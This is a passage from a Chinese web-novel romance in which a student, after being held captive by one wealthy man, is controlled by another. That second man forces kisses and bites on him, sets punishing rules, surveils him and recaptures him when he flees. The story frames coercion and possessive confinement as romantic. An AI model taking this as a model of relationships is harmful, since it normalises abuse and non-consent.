留意到他的动作,秦陌上前来扶他的胳膊:“你要去哪儿?我抱你。” 陈悯之甩开他的手:“不要你管!“ 秦陌不动了。 但几秒钟后,陈悯之扫了眼光秃秃的地面,又凶巴巴问:“我的拖鞋呢!” 拖鞋还在电影房内。 “等我一下。” 两分钟后,秦陌给拿来了拖鞋,又蹲下身,握着少年的脚踝,亲手给他穿上。 光看他的动作,倒真像是一名温柔体贴的好丈夫。 只有陈悯之知道,在这温柔体贴的表面下,藏着一颗多么黑的心。 他恨恨瞪了秦陌一样,倔强地避开男人想要搀扶的手,扶着墙壁,一瘸一拐地走出了秦陌的卧室。 回到自己卧室后,陈悯之做的第一件事就是把那个药瓶子翻出来,然后把那上面的英文输入到翻译器里,一字一句地查。 秦陌不知对他的手机动了什么手脚,虽然联系不了外界,但上网查资料打游戏都不受限制。 陈悯之小时候是三好学生,长大了是五好青年,这次去地下室偷药,是他人生中第一次偷东西,他做贼心虚,偷完了就赶紧藏在柜子里,连看都没拿出来看过,生怕被人发现了,也就更别提逐字逐句去查上面的英文。 而此刻查完后,他原本就死了的心终于变得更想死了。 这的确是一种催.情的药物,根本不是他以为的能致人昏睡的迷药,至于上面为什么会有“sleep”这个词,是因为那句话写的是:【有助于在事后更好地睡眠。】 陈悯之傻眼了,刚才和秦陌在一起时他都只是生气,没有想哭,但现在眼睛里却包起了一点泪花。 被自己蠢哭的。 他后悔死以前没好好学英语了。 但少年天生就不是会轻易放弃的人,他只哭了一小会儿,就又重新振作起来,给自己打气。 没关系,陈悯之对自己说,不就是跟男人睡了,这有什么,俗话说得好,真金不怕火炼,真男人不怕被男人睡,秦陌虽然变态,但说实话长得还行,他也不算太亏 好吧,还是有一点亏陈悯之摸着自己隐隐作痛的屁.股如是想道。 秦陌那里也不知道是吃什么长大的,怎么能那么大,他肚子都要被弄坏了陈悯之心里有一点愤愤不平。 都是万恶的资本主义! 秦陌家庭条件这么好,肯定是从小吃得好,要是他从小也吃这么好,说不定也能长这么大呢 陈悯之下定决心以后一定要好好吃饭。 * 那头,秦陌正和秘书打电话,让他找几家靠谱的婚庆公司做策划,却忽然被一阵急促的敲门声打断。 “进来。” 见来者是管家,秦陌问:“什么事?” 管家脸上是难得的凝重:“少爷,顾明珏带着人把庄园围了。“ 第39章 第 39 章 “警察叔叔!我在这里!…… 39 庄园入口。 秦陌看着站在门口, 面带微笑的顾明珏,以及他身旁穿着制服的警察,神色冰冷。 “秦先生, 根据目击者提供的证词和监控证据, 您涉嫌绑架和非法囚禁罪,请您配合我们的调查。” 说完, 警官向他出示了搜查令。 面对两项罪名严重的指控,秦陌脸上的神情却并没有什么变化,他神色漠然地微一颔首:“请便。” 警官朝后面的人挥了挥手,一行人便从大门鱼贯而入。 “等等。”秦陌忽然抬手,拦下了正要往里冲的一名黑衣人,以及黑衣人身后,正要款步而入的顾明珏。 顾明珏停步, 脸上带着礼貌的微笑:“秦先生, 这是警方的调查,还请您配合。” 秦陌一双眸子冷冷扫向他:“搜查可以,但这是我的私人住所, 除了警察, 其余无关人等不得进入。” 陈悯之是自己跟着他来的, 一路上,他并未采取任何强制性的“绑架”手段, 秦陌很确定, 现在顾明珏手上不可能有什么确凿的“罪证”, 最多不过是一些模棱两可的“证据”, 再加上顾明珏动用的一些关系,才申请下来了搜查令。 而现在围在宅子外面的人少说有上百。 就算顾家动用在警方的势力,警方也不可能为了一个小小的“失踪案”, 就出动这么多的警力。 很显然,这里面除了小部分的警察,大部分都是顾家的私人保镖。 顾明珏笑了笑,用一种十分柔情的语气说:“被秦先生藏起来的是我的妻子,我既然是受害者的丈夫,又怎能算是无关人等呢。” 听到这话,秦陌一直古井无波的脸上,终于出现了一丝阴沉。 顾明珏这话,说得不可谓不巧妙。 他若反驳,说陈悯之何时成了顾明珏的妻子,就等于承认了自己绑架和窝藏陈悯之的事,但若不反驳就等于默认了顾明珏说陈悯之是自己妻子的话。 但秦陌身为秦家的继承人,自小在商场锻炼了许多年,自然也不是傻子,他冷冷睨向顾明珏:“我不知道顾先生在说什么,我既然没有藏任何人,也就更不可能藏顾先生的妻子。” 顾明珏眼底划过一丝冷意,却依旧是那副温和从容的模样:“是吗,那就烦请秦先生与顾某一起等在这里,拭目以待吧。” 他挥了挥手,身后正要跟着警察进去的黑衣人便停下了脚步,训练有素地立在原地。 秦陌看着顾明珏脸上泰然自若的笑意,眼皮忽然跳了跳。 是他大意了,顾明珏既然有备而来,负责搜查的警察里不可能没有他的人。 二十分钟过去,第一批进去搜查的警员已经回来了,他们低声对自己的上级报告了什么,秦陌没有听清,但看着警官和旁边顾明珏有些难看的脸色,他知道他们是没有找到。 秦陌无声松了一口气。 早在接到管家通知的第一时间,他就让管家带着人去藏起来,然后自己先出来拖延时间。 庄园广阔,里面有许多能藏人的隐秘角落,就算是富有经验的警察来了,一时半会儿也很难找到。 秦陌冷冷看向顾明珏:“看来,这里没有顾先生要找的‘妻子’,顾先生还是请回吧。” 顾明珏轻笑一声:“顾某闲人一个,倒是不缺这点儿时间,再等等也无妨。” 然而,直到第二波、第三波人回来,皆是两手空空,顾明珏的脸色终于沉了下来。 秦陌一直紧绷着的面容倒是彻底舒展了,他脸上浮现出一个笑容,十分绅士地伸出手掌,指向庄园大门外的方向:“顾先生,慢走不送。” 就在所有人都以为今天注定一无所获时,安静的空气中忽然传来一道高亢的叫声:“警察叔叔!” 秦陌脸色骤然一变,转身望去。 只见直通庄园大门的宽阔道路上,少年吭哧吭哧地蹬着一辆山地自行车,从不远处朝他们驶来。 少年身上还穿着浅黄色的睡衣,头发也乱乱的,整个人显得十分匆忙,但那张脸上又是完全掩饰不住的喜色,他一边蹬自行车一边挥手大喊:“警察叔叔!我在这里!” 秦陌脸色难看得像是一团揉皱了的纸。 一旁的顾明珏脸上却充满笑意,他略过站在身前的秦陌,朝着少年来的方向走去:“悯之。” 陈悯之骑得太快,停车又停得急,下车时差点摔了,好在顾明珏及时接住了他,男人看着他,面露关切:“悯之,你还好吗?” 陈悯之下意识说了声谢谢,但反应过来接住自己的人是顾明珏后,又神色不太自然地退开一段距离。 一边退一边揉屁股,昨天才挨了一顿折腾,路上蹬自行车简直把陈悯之疼得龇牙咧嘴,眼泪都快出来了。 当时他看管家要带着他往那些密室藏就觉得不对劲,趁人不注意跑了出来,狂奔到地下车库,随手抓了辆自行车就是骑,身后还跟着一堆追他的黑衣人,一路心惊胆战得简直跟拍电影似的,把陈悯之累得够呛,好在终于是甩开追兵逃出来了。 陈悯之一边脸色不太好地揉着屁股,一边含含糊糊说:“还好。” 顾明珏瞥见他的动作,眼底闪过一抹阴沉。 为首那名警官走过来,看陈悯之两眼,脸上的神情有些疑惑。 报警的时候,这位顾家少爷说自己的妻子被人非法囚禁了,而且很可能还遭受了非人的虐待,要求他们出动能出动的最大警力,但现在看来这位受害人完全不像是一副遭受了虐待的样子,反而气色红润,一双眼睛亮闪闪的,充满活力。 警官问:“你是陈悯之?” 陈悯之点点头:“是我。” 警官:“我们接到报警,说你被人绑架并非法囚禁了,情况是否属实?” 陈悯之实话实说:“绑架倒是没有,但我确实是被人非法囚禁了。” 他指着秦陌,义愤填膺地控诉:“就是他!就是他囚禁的我!” 秦陌面色冰冷,看不出喜怒,只是那双眼睛,依旧如同黑暗中阴冷的蛇一般,死死盯在他身上。 陈悯之被这目光吓得一颤,下意识往顾明珏身后躲了躲,说:“警察叔叔,对于这种违法犯罪行为,你们一定要严厉打击!” 警官点头,一挥手,便有两名警员上前,把秦陌控制了起来。 警官又问:“在被囚禁其间,他有没有对你实施什么身体上的虐待?” 陈悯之犹豫了。 秦陌虽然囚禁了他,但要说虐待还真没有,每天好吃好喝地把他养着,吃最好的穿最贵的,搞得他这几天非但没瘦还长了几两肉出来,总归,除了不能出去,倒也找不出一丝苛待他的地方。 就是不知道被糙屁股算不上是虐待 陈悯之咬咬牙,还是没把自己被人睡了的这件事说出去,一是嫌丢脸,二是本来就是他先给秦陌下药的,都是成年人了,他大丈夫一人做事一人当,这事怪不到秦陌头上。 于是陈悯之说:“没有,他没有虐待我。” 顾明珏却目色深深地盯着他:“真的没有吗?悯悯,你再好好想一想。” 陈悯之斩钉截铁:“真的没有。” 警官点点头,转身对秦陌道:“证据确凿,秦先生,麻烦您跟我们走一趟了。” 秦陌被带上了警车。 原本陈悯之也是要被一起带走做更详细的笔录的,但考虑到受害人的身体和心理状况,警官让他先回去休息,第二天等他们通知再来做笔录。 陈悯之不情不愿地坐上了顾明珏的车。 如果可以,他当然是不想坐的,但他跑出来的时候匆匆忙忙,连手机都没带,打不了车,又身无分文的,总不可能走路回去。 一路上,陈悯之都没和顾明珏说话。 他不说话,顾明珏也不主动开口,只是很贴心地把外套脱下来披在他身上,又给他围上了柔软的毯子。 看上去,依然是从前那个温柔体贴的学长朋友。 只是陈悯之明白,有些东西已经变得不一样了。 一个多小时后,正当陈悯之以为顾明珏是要把自己送回学校宿舍时,却见司机把车停在了顾明珏的公寓楼下。 陈悯之莫名其妙:“我要回学校,你带我来这里做什么?” 顾明珏:“你在学校的东西,我会让人替你收拾好带过来,学校那边,我也会替你申请,以后,你和我一起住这边。” 陈悯之睁大眼睛,不敢置信地看着他。 男人的神色很平静,他五官生得清俊,整个人仍然散发着那种温润柔和的气息,可落在陈悯之眼中却好似如此陌生。 他身边的一个个朋友忽然之间,他好像都不认识他们了。 陈悯之恍了好半晌,才说:“可我我并没有答应要和你住在一起。“ 顾明珏淡淡看向他:“那么,悯之是想要回到学校去,等秦陌出来后,继续和他住一间宿舍吗?” 陈悯之张口结舌:“我没” 顾明珏:“你应该知道的,以秦家的势力,秦陌拘留不了几天就会被放出来。到那时候,你是想被他抓回去,再囚禁一遍吗?” 陈悯之愣愣地看向顾明珏,说不出一句话,他只是想要回到自己熟悉的,能让他感觉到安全的地方,根本没想那么多的 可他看着顾明珏,直到此刻,那张温润平和的脸上才像是终于出现了一丝冷意,这冷意之中似乎含有薄怒,还有一些陈悯之看不懂的复杂东西。 但那些东西只是稍纵即逝,男人看着他,忽然叹了一口气。 顾明珏倾身过来,抱住了他,轻声说:“上去看看芝芝吧,你走了许多天,它很想你。” 男人声音微哑,恍若叹息:“我也很想你。” 第40章 第 40 章 宝跑路,宝被抓。…… 40 陈悯之推开抱着他的男人, 跳车跑了。 顾明珏耳机里立刻传来保镖的询问声:“少爷,要追吗?” 男人望着窗外少年仓皇的背影,轻笑:“不用, 他自己会回来的。” 于是一行人便在原地等着。 五分钟后, 身上还穿着睡衣,裹着毯子的少年犹犹豫豫地回来了, 脸上飘着一抹红晕,有点尴尬似的小声说:“那个,我要上去换身衣服。” 顾明珏十分绅士而体贴地,假装没看见他的尴尬,温柔道:“嗯,你受了凉,上楼先泡个澡吧。” 陈悯之裹着毯子, 含含糊糊地“嗯”了一声。 上楼泡完澡, 身上的凉意都散掉了,屋内开着地暖,暖和却不过分干燥, 穿着睡衣窝在沙发上, 别提有多舒服。 在这样舒服的环境下, 陈悯之身上的戒心也不自觉地消散了些,他抱着怀里的小猫, 一下一下摸它雪白的毛毛, 把小猫摸得眯着眼睛, 直打呼噜。 陈悯之在心底叹气, 顾明珏是变态没错,但小猫是无辜的,他照顾了芝芝这么久, 怎么也算是芝芝的半个爹,他要是因为顾明珏就抛下芝芝,可怜的芝芝就成了单亲家庭的小孩了。 不对,什么单亲家庭,他和顾明珏又不是那种关系,这都什么乱七八糟的。 陈悯之抱着猫胡思乱想,全然不知道他这幅模样,落在男人眼中有多勾人。 少年穿着奶白色的毛绒家居服,黑发柔软,怀里抱着雪白的小猫,低头望着小猫的眸子里盛满了温柔的爱意。 就像几个月前,他第一次在这里抱小猫时一样。 即使遭遇了来自身边人的背叛与伤害,少年身上那种柔软温和的气质却没有改变半分。 顾明珏在此刻意识到,这是一种很强大的力量。 少年看似柔软又弱小,好像谁都可以很轻易地欺负他,但实际上他周围有一堵无比坚固的屏障,无论外界有多少伸向他的黑暗触手,都无法突破这层屏障,侵染到那颗温暖而坚定的心。 那颗心始终柔软,纯净,一尘不染。 只是这样的心太干净、太美好了,以至于谁在它面前,都会不自觉地生出一种自卑,以及想要将它独占的阴暗欲.望。 陈悯之一边摸着猫,一边困倦得打哈欠,刚才顾明珏给他喝了驱寒的姜茶,他现在浑身上下都暖暖的,肚子还很饱,很容易犯困。 但这困意在下一刻一瞬间消失得无影无踪。 ——顾明珏忽然从身后抱住了他。 陈悯之当即就跟只被猎食者叼住脖颈的兔子似的,拼命挣扎起来。 经历了在秦陌的事情后,他现在对任何人的亲密行为都下意识地抗拒。 可一向温柔的男人,此刻却异乎寻常地强势,禁锢着他的臂膀仿佛坚固的囚笼般,不允许他挣脱。 怀里的小猫被这架势吓到,“喵呜”一声,从他怀中跳走了。 耳旁传来男人低哑的声音:“别动,让我抱一会儿。” 陈悯之不动了。 倒不是因为害怕,而是,不知道为什么,他从男人的声音里听出了一丝难过。 陈悯之不明白了。 从头到尾被骗被欺负的不是他吗,顾明珏有什么好难过的。 可男人分明生得身形高大,宽阔的胸膛足以将他完完全全包裹在怀里,身上散发出来的气息却像是一头受伤的兽一样,让人觉出一种脆弱感。 因着这股脆弱感,陈悯之就像只被猛兽流露出来的表象蒙蔽双眼的兔子,又很没出息地心软了。 男人抱着他,也不说话,像受伤的野兽依偎在火堆旁一般,抱着这簇源源不断散发着温暖的火堆,将头埋在他颈侧,深深地嗅闻他身上的味道。 不知是不是心理原因作祟,明明陈悯之已经洗过澡了,顾明珏却仿佛依旧能从少年身上闻到一丝格格不入的,属于别的男人的气味,那股冷冽的气味混在少年身上干净清淡的香气里,像是一把钩子,钩出了男人心底最阴暗的妒火。 更别提,少年雪白的脖颈上,密布着上一个男人留下的青红痕迹。 顾明珏忽然低下头,在少年脖子上咬了一口。 “啊——” 陈悯之霎时痛得跳起来,捂着自己的脖子,圆圆的眼珠子瞪着人:“你咬我做什么!” 少年揉着自己泛疼的后脖颈,声音有些委屈:“明明都已经给你抱了” 怀里骤然变得空荡荡,男人不着痕迹地皱了皱眉,随即又恢复那副温润君子的模样,朝着蹦出去老远,满脸戒备的少年伸出手:“悯之,过来。” 陈悯之一脸警惕:“我不要。” 顾明珏思索片刻:“如果悯之乖乖过来,那么,今晚悯之可以继续一个人睡自己的房间。” 陈悯之睁大眼睛,有一瞬间几乎为男人话里的逻辑感到荒谬。 为什么他要乖乖听顾明珏的话才能一个人睡自己的房间?他本来就可以一个人睡自己的房间啊。 等一下顾明珏的意思不会是 陈悯之眼睛瞪得更大了,他眼瞳生得乌黑,又比寻常人更大一些,这样看起来像是某种眼珠子溜圆的小动物:“你是说,如果我不过去,今天晚上就要和你一起睡?” 顾明珏唇角笑意温柔:“嗯,几天不见,悯之似乎变聪明了一点呢。” 一向性子温吞柔软的少年,此刻竟难得有些生气,倔强地站在原地不肯动:“我不要!我有自己的房间,为什么要和你一起睡?” 顾明珏:“怎么,悯之和秦陌睡得一张床,和我就睡不得?” 男人语调依旧是温和的,但看着少年抗拒的动作,眼底却已经染上了一丝阴冷。 陈悯之矢口否认:“那不一样!秦陌是因为——” 顾明珏紧紧盯着他:“因为什么?” 因为被他下了药才和他睡一张床的。 秦陌是将他囚禁在庄园里不假,但客观上来说,男人倒也恪守自己的话,晚上并没有强迫他和自己睡一张床。 除了最后那个出了意外的晚上,前面几天,陈悯之都是一个人睡的。 陈悯之当然不可能吧自己偷鸡不成蚀把米的事给顾明珏说,他已经够丢脸了,还想维护一下自己仅剩不多的自尊。 于是他只含含糊糊道:“你不用知道,反正,反正情况不一样。” 殊不知这种模棱两可的解释,听在男人耳里无异于火上浇油,那双眸子里翻腾着阴森的,近乎扭曲的妒火,可少年却没有看见。 “哦,这样啊。”顾明珏轻声道。 是因为喜欢秦陌吗? 所以明明秦陌对他做了那样不堪的事,他却仍选择在警察面前包庇男人的罪行。 顾明珏忽然笑了一下,眼底的那抹阴暗消失得无影无踪,像是什么都没发生过,他望着少年,也没有再逼人到自己怀里来,只是柔声道:“我还没有问悯之,为什么突然开始躲着我?” 他不提这茬儿还好,一提,陈悯之顿时就气不打一处来:“你还好意思问!” 少年胸膛起伏,像只气鼓鼓的,尾巴都竖起来的小猫:“你是不是很早就开始在晚上潜入我的房间,对我” 陈悯之斟酌了一下用词,他面皮薄,说不出那些太羞人的话,只能说:“对我动手动脚了!” 面对他的指控,顾明珏仍是那副眼底含笑的模样:“嗯,悯之晚上睡觉不太乖,总爱踢被子。” 陈悯之气急,也顾不得羞耻了:“你还装!秦陌都告诉我了!你每天晚上趁我睡着了,就偷偷进我房间亲我!” 秦陌,又是秦陌。 这个词一从少年嘴里说出来,顾明珏就仿佛什么都听不见了,只剩下这两个尖锐的噪音,像是疯狂拨动的琴弦一般扰乱着他的心神。 少年后面还说了些什么,顾明珏已经听不清了,他死死盯着少年翕动的嘴唇,忽然站起身,扣住少年的后颈,恶狠狠地吻了上去。 “唔——!”陈悯之猝然睁大双眼,完全没料到上一秒还充满君子风度的男人,为什么下一秒就突然发疯了。 他奋力推拒着男人,拳头一下下砸在跟前的胸膛上,却没有将那铜墙铁壁撼动半分。 不同于上一次顾明珏亲他时的细水流长,温柔绵密,这一次男人的吻仿佛带着怒意,又携着难以忽视的占有欲,以不容拒绝的攻势,凶蛮地将他的口腔填满。 陈悯之胡乱挥打的双手男人一只手抓住,脆弱的后颈被人牢牢扣着,挣也挣脱不开,只能被动地承受下男人所有的侵.犯与占有。 不知过了多久,发了疯的男人才终于像是恢复了理智,缓缓将他放开。 陈悯之被亲得缺氧,早已连打人的力气都没了,脑子也晕晕乎乎的,只能狼狈地大口喘气。 顾明珏眉眼深深地望着他:“是,我是亲你了,从你第一天住进这间公寓开始。” “事实上,从更早,早在我认识你的第一天,我就想这么做了。如果不是因为一直对你心软,因而有所顾忌,我对你做的事,远比秦陌对你做的更可怕。” 陈悯之后退一步,纤长的眼睫都在颤抖,却不敢开口问男人是什么事。 男人粗粝的指尖在他被亲肿的嘴唇上轻轻摩挲着,动作温柔得像是对待情人:“悯之生气,可以骂我,也可以打我,但是不可以离开我。” 顾明珏忽然轻轻笑了一声:“当然,也不可以,再在我面前提秦陌的名字。” 他五官生得清俊,笑起来时总是极好看的,可现在,那笑容落在陈悯之眼里,只让他觉得脊背发凉。 男人幽黑瞳孔钉在他身上:“不然,我不知道自己还会做出什么事情来。” “我猜,悯之也不会想知道的,对吗?” * 陈悯之开始去学校上学了。 他前段时间东躲西藏,又被秦陌关了一段时间,学校里的课程落下了不少。 好在,顾明珏在这方面倒是很贴心,给他请来了专业的老师,一对一地为他补上落下的课程。 毕竟是高薪聘请,老师讲解得比学校老师都还细致,陈悯之学得也认真,没多久就将落下的知识点都掌握了。 但陈悯之还是很担心地问顾明珏:“那我的平时成绩怎么办?” 他请了那么多次假,平时分都不知道被扣了多少了。 听到这话,顾明珏脸上闪过一丝不易觉察的阴沉,他像是不太情愿,但还是对陈悯之实话实说了:“秦陌已经在学校为你打点过了,理由是你身体情况特殊,需要经常请假治病,不会扣你平时分。” 陈悯之下意识说:“哦哦,谢谢。” 秦陌人还怪好的,连这些细节都替他想到了。 不对,陈悯之慢两拍地反应过来,他没办法去学校上课的罪魁祸首不就是秦陌吗! 呸呸呸!他才不要谢谢他! 呸完了,陈悯之才注意到男人不知何时变得有些阴沉的脸色。 经历了许多次类似事件后,少年像是一只对风吹草动都很敏锐的小动物,立刻就明白了什么,惊惶地后退着:“我没有提他的名字,是你先说的!” 顾悯珏步步逼近,唇角带着笑,笑却不达眼底:“嗯,悯之是没有提,但悯之刚才想他了,对吗?” 陈悯之瞪大眼睛:“你、你没说过想也要算!“ 男人漆黑眼眸盯着他,森森道:“哦,看来确实是想了。” 察觉到危险,陈悯之本能地撒腿就开跑,却在下一刻被男人捞着腰,轻而易举地抱了回来。 嘴唇被人噙住,男人粗粝的舌.头强势地入.侵进来,将他从里到外吃了个遍。 陈悯之力气没有男人大,挣也挣脱不开,最后只能呜呜咽咽地被男人亲到嘴巴肿起来,眼睫上都挂着泪,可怜兮兮的。 生怕男人再亲他,陈悯之用手捂着嘴巴,瓮声瓮气地控诉:“你不遵守规则!” 顾明珏笑了一下。 这只可怜的兔子似乎到现在还没意识到自己的处境,他位于强大的食肉动物的领地,所有规则都是由食肉动物来制定的,只有这只天真可爱的小动物,还在一本正经地和凶残的猎食者讨论规则。 但即使是这种近乎愚钝的天真,在顾明珏看来也是可爱的。 这正是陈悯之身上吸引的他东西之一。 他温柔地说:“现在规则加上一条,你想秦陌一次,我也会吻你一次。” 陈悯之不敢置信地说:“你不讲道理!这又不是我能控制的住的!” 男人那双清隽眼眸眯起来,显得有些危险:“噢?你是说,你控制不住地要去想秦陌?” 陈悯之:“我没有” 他往后退了一步,有些委屈,他明明不是那个意思。 顾明珏丝毫不给他逃避的机会,倾身上前,手掌牢牢扣住了少年纤细的后颈,盯着他,一字一句道:“那么,从现在开始,不许再想他。” “想我。” 男人低头在他鼻尖上落下一吻,声音低哑:“悯之,从今往后,你心里只许想我。” 偶尔,顾明珏也会陪着他一起去上课。 男人望着他在课堂上东张西望的一张脸,似笑非笑:“悯之现在上课不太专心了呢。” 陈悯之从前上课一直都是很专注的,连手机都不玩儿的乖学生,听到这话忙红着脸收回注意力,认认真真看黑板。 顾明珏仿佛他肚子里的蛔虫,十分善解人意道:“秦陌目前还在拘留所里,陆承轩的公司被我找了些麻烦,暂时没空天天盯着找你,至于卫殊,我给他制造了一些误导信息,他现在并不知道你已经回学校了,还在外面找。” “所以这两周,悯之可以安心地准备期末考。” 陈悯之听完松了一口气,刚想下意识说声谢谢,却听顾明珏紧接着说:“考完了,寒假好跟着我一起回顾家。” 陈悯之瞪大眼睛:“我为什么要跟着你去你家?” 顾明珏:“悯之是顾家今后的夫人,自然要回去见见尊长。” 男人的语气如此理所当然,好像这是再自然不过的事。 陈悯之不想做什么顾家的夫人,也不想跟着顾明珏回去见他父母,但他现在已经知道,看似温和有礼的男人,在许多时候是强硬得不讲道理的,男人已经决定了的事情不会改变,就像顾明珏说只要从他口中听到秦陌的名字就会亲他一样,每次都是言出必行。 陈悯之又气又急,说不出话,只能用一双红得跟兔子似的眼睛瞪着男人。 但这样的瞪视,在男人眼里也像是含着情意的撒娇。 顾明珏温柔地抚了抚他的脸,柔声道:“悯之不用害怕,我父亲如今已经是病床上苟延残喘的一条虫子,至于我母亲” 男人轻笑一声,“她会喜欢你的。” 陈悯之不知道为什么会有人用“苟延残喘的一条虫子”来形容自己的父亲,他心里虽然好奇,但也不是很想问,总觉得问了就显得他对顾明珏家里的事很感兴趣,很想做那什么顾家夫人一样。 他假装没听到男人的话,转头很认真地继续听讲。 在课堂上,是他为数不多能够逃离顾明珏的时候。 顾明珏却丝毫不介意他的无视,笑了笑,没再说话打扰他听讲。 其实,除了少数陈悯之说了不该说的话的时候,大多数时间男人的脾气都好到离谱,好像无论他做什么都不会生气一样,就连陈悯之被亲的时候挣扎着在男人脸上抓出血印子,男人都能笑着包容。 更别提在衣食住行上,样样都用最贵的最好的,把他照顾得像个衣来伸手饭来张口的少爷,温柔体贴得哪怕以最苛刻的标准都挑不出毛病。 在外人看来,顾明珏应该能算得上是一个完美男友。 只有陈悯之知道,表面再完美,也改变不了内里是个变态的事实。 他是不可能一直在顾明珏身边呆下去的。 他要趁着顾明珏还没变态到底的时候,赶紧跑路。 * 后面的两周过得很平静。 陈悯之没敢再在顾明珏跟前提秦陌的名字,顾明珏也没有再弄出什么稀奇古怪的新规矩捉弄他,除了晚上要被迫和男人睡一张床,被男人抱在怀里亲亲摸摸以外,似乎也没什么不能忍受的地方了。 毕竟,比起在没有人身自由的秦宅,顾明珏对他的“管束”甚至可以称得上是松散。 但陈悯之觉得自己就像是被大型猛兽叼在嘴里的一块肉,对方暂时没有把他拆吃入腹,只是时不时伸着舌头在他身上舔几口,不过是因为对方暂时还有耐心,跟他玩儿一些温柔小意的恋爱游戏罢了。 一旦对方耐心耗尽,等待他的就是被扒皮拆骨。 但已经吃过亏的弱小动物也知道,面对比自己强大数倍的猎食者,不能硬来,孱弱的小型食草动物,向来是靠智慧而非力量生存下来的。 都说狡兔三窟,再笨的兔子,在面临危险的时候,也会有自己聪明的地方。 所以,陈悯之答应了顾明珏要带他回顾家的事。 虽然他答不答应区别不大,无非就是自愿回顾家和被迫回顾家的区别罢了。 但顾明珏依然很高兴,陈悯之随口提起,说期末考完后要先回老家看过姥姥,然后再和他一起回顾家,男人也很轻易地同意了。 毕竟,这是一个合乎常理、又十分微不足道的请求。 陈悯之买的是期末考完后第二天一早的火车票,头天晚上,顾明珏把他抱在怀里,亲吻他的耳朵:“几点的航班?明天我送你去机场。” 陈悯之支支吾吾:“不用,我买的动车票。” 或许是因为心虚,少年对男人亲吻的动作并不似往常那般躲避,纤细雪白的脖颈露在外面,让男人给吻了个遍。 但顾明珏显然不是个好糊弄的,停下亲吻他的动作,问:“为什么不买机票?” 陈悯之含含糊糊说:“机票贵。” 顾明珏脸上的神情似笑非笑:“不是给了你一张卡?” 是的,在顾明珏把他从秦宅带回来的当天,男人就给了他绑定了一张不限额随便刷的黑卡,不仅如此,还有事没事就往他卡里打钱。 目前的转账记录如下: 【12月9号,转账200,000元整。备注:天凉了,给宝宝买新衣服。】 【12月12号,转账200,000元整。备注:给宝宝买游戏玩。】 【12月15号,转账300,000元整。备注:宝宝照顾芝芝的辛苦费。】 【12月16号,转账300,000元整。备注:很想宝宝,下课早点回来。】 短短半个月不到,顾明珏给他转了快两百万,一开始陈悯之还没理解他转账备注里的宝宝是什么意思,以为是在说猫,后来反应过来这宝宝指的是他自己,顿时起了一身鸡皮疙瘩,让顾明珏不要再给他打钱了。 顾明珏笑着问:“悯之现在和我在一起,不花我的钱花谁的钱?” 陈悯之瞪着圆圆的眼睛:“我有工资,我可以花自己的钱。” 虽、虽然他的工资也是顾明珏发的,但那不一样,毕竟是他劳动所得,尽管每天都要面对男人各种糖衣炮弹的轰炸,但陈悯之还是坚持自己的底线:他没有被顾明珏包养,他们现在顶多、顶多就是个同居的室友关系,偶尔亲两下而已。 好吧不是偶尔,是每天。 但亲两下怎么了?陈悯之在心里对自己说,也就是两瓣嘴唇碰一碰而已,又不是睡了,两个男的没事碰碰嘴巴怎么了?不能证明他跟顾明珏之间有什么,更不能证明他是那什么顾家的夫人。 因此,顾明珏给他的那张黑卡,他一次也没有用过。 好像只要花了0.001元,他陈悯之的身份就会从“偶尔不小心和顾明珏碰一下嘴唇的室友”,立刻变成“花老公钱的顾明珏的老婆”。 此刻,面对男人的问题,陈悯之还是坚持自己的底线:“不想用。” 顾明珏深深盯了他几秒,忽然低下头恶狠狠咬在他的唇上。 陈悯之吃痛地叫了一声,一抬头,男人眸子幽幽地看着他:“宝宝不愿意花我的钱,却愿意花秦陌的?“ 陈悯之简直不知道顾明珏又发什么疯,但他很确定,顾明珏只要一开始叫他宝宝而不是叫他悯之,那他的处境就会变得很危险。 他捂着嘴巴惊惶地说:“没有,我也没有花他的钱。” 顾明珏:“哦?那你们一起去游乐园那天,是谁买的票?” 陈悯之睁着眼睛,哑口无言。 他怎么也没想到顾明珏连这也要算进去。 他的无语在顾明珏看来无疑是心虚和无法辩驳。 顾明珏冷笑一声:“小骗子。” 男人再次埋下头去,可这次咬的却不是他的嘴唇了,而是锁骨下方比嘴唇敏.感许多的地方。嫩.红柔软的地方被欺负得又红又肿,沾着湿.漉.漉的水光,好不可怜。 陈悯之被欺负哭了,最后一边抽噎,一边被男人逼着用那张黑卡随手买了一个三十多万的游戏账号。 吃饱了的男人心情好了许多,又换上那层温柔君子的人皮来,低头舔过他眼角残余的泪:“悯之,早些回来。” 又捏了捏他的鼻尖:“走了之后,也要记得想我。” 陈悯之早已没力气和男人争辩,有气无力地应了声“嗯”。 * 陈悯之买动车票而不是机票,自然不是单单是为了省钱那么简单。 ——不过是因为坐动车更方便逃跑罢了。 他没有坐到终点站,而是在动车途径一座比较偏僻的小城时,把手机卡扔在了动车上,然后下了车,出站包了辆小城火车站外惯有的无证黑车,朝着与老家反方向的D城开去。 陈悯之知道他们这些有权有势的人可以通过票务和消费记录查人,但他这次包的是黑车,走之前还专门换了现金,他就不信顾明珏能查得到他。 而且按照人的思维惯性,跑路一般是越远越安全,而他偏偏反其道而行之,就躲在学校邻省、挨着顾明珏家的D城。 来的时候坐的是动车,回去的时候坐面包车自然要多费些时间。路途遥远,陈悯之不知不觉便在车上睡着了。 然而,等他醒来时,却发现自己不在目的地,而是在一个陌生的音乐厅内。 他刚坐起身,脑子都还是懵懵的,就见到头顶灯光忽然熄灭,四周顿时陷入一片漆黑。 再次亮起时,只留下了一束光照亮了台上钢琴所在的位置。 一个男人不知何时坐在了那里,身穿裁剪精良的黑色燕尾服,姿容俊朗,风度翩然。 是顾明珏。 40-50 第41章 第 41 章 “我将一生对你忠贞。”…… 42 黑白琴键上, 男人指节翻飞,如水的琴声从他指间流泻而出,在空旷的大厅内荡出回响。 这旋律初听是平静舒缓的, 像是淌过山间石子的潺潺水流, 可细听却似含着一丝若有似无的哀戚,如怨如慕, 如泣如诉,如同在幽魅山林间,茕茕独立,被心上人抛下的痴情山鬼。 陈悯之一时听得有些怔了。 他看着顾明珏,男人依旧是那张温柔清俊的脸,面容平静,低垂的视线落在琴键上, 可陈悯之却似从那脸上看出了一抹神伤。 顾明珏此刻好像很难过一样。 可是为什么? 被抓回来的是他, 怎么看都应该是他更难过一点才对。 啊对,陈悯之在此时才后知后觉地想起来,自己逃跑被抓回来, 顾明珏还指不定要怎么欺负他, 他要赶快离开这里才对。 于是他趁着男人还没弹完, 自己又处在没有灯光照到的地方,偷偷摸摸弯下腰去, 借着前面座椅的遮挡轻手轻脚地往外溜。 然而他还没跑出两步, 台上距离他二十几米远的男人, 明明没有看向他, 